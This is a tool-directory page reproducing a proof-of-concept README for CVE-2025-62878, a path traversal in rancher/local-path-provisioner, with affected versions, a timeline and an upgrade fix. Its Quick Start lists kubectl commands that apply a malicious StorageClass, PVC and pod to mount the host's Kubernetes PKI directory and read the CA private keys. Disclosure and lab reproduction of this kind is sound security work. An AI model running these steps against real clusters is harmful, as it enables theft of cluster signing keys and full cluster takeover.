Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-62878 — CVE-2025-62878 | Kitploit
Tools/GitHubGitHub/kinokopio/cve-2025-62878
Container SecurityVulnerability AnalysisExploitationCloud SecurityMisconfigurationLearning & EducationLabs & Practice
GitHubkinokopio/cve-2025-62878

CVE-2025-62878

CVE-2025-62878

View Repository
137 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

CVE-2025-62878: Local Path Provisioner Path Traversal

Overview

ItemValue
CVE IDCVE-2025-62878
GHSA IDGHSA-jr3w-9vfr-c746
SeverityCritical (CVSS 10.0)
CWECWE-23 (Relative Path Traversal)
Affected Componentrancher/local-path-provisioner
Affected Versionsv0.0.27 ~ v0.0.32
Fixed Versionsv0.0.33+

Vulnerability Description

A path traversal vulnerability exists in the pathPattern parameter of StorageClass. A malicious user can manipulate pathPattern using relative path elements (e.g., ../) to create PersistentVolumes pointing to arbitrary locations on the host node, bypassing the configured base directory restriction.

This allows attackers to:

  • Access sensitive host files (e.g., /etc/kubernetes/pki/)
  • Overwrite critical system files
  • Achieve full cluster compromise by stealing Kubernetes CA private keys

Affected Versions (Verified)

Note: The official GitHub Advisory states "< 0.0.34" is affected, but our testing confirms:

  • v0.0.33 is already patched
  • v0.0.26 and earlier are not affected (pathPattern feature doesn't exist)
  • Actual affected range: v0.0.27 <= version <= v0.0.32

Timeline

EventDate
pathPattern feature introduced2024-05-26 (commit af85381)
First vulnerable release (v0.0.27)2024-05-29

Reproduction

See exploit/ directory for detailed reproduction steps and scripts.

Quick Start

root@kitploit:~
# 1. Install vulnerable version
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml

# 2. Apply exploit
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml

# 3. Verify exploitation
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# Output: /etc/kubernetes/pki

kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Shows Kubernetes PKI certificates and private keys

Remediation

Upgrade to v0.0.33 or later:

root@kitploit:~
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml

References

  • GitHub Advisory GHSA-jr3w-9vfr-c746
  • Fix Commit 1ed6b54
  • pathPattern Feature Commit af85381
Download Tool
VersionRelease DatepathPattern SupportVulnerable
v0.0.262023-12-03NoSafe (feature not exist)
v0.0.272024-05-29YesVulnerable
v0.0.282024-06-19YesVulnerable
v0.0.292024-09-03YesVulnerable
v0.0.302024-10-07YesVulnerable
v0.0.312025-01-24YesVulnerable
v0.0.322025-07-31YesVulnerable
v0.0.332025-12-25YesFixed
v0.0.342026-01-06YesFixed
Fix commit2025-12-24 (commit 1ed6b54)
First patched release (v0.0.33)2025-12-25
CVE published2026-02-04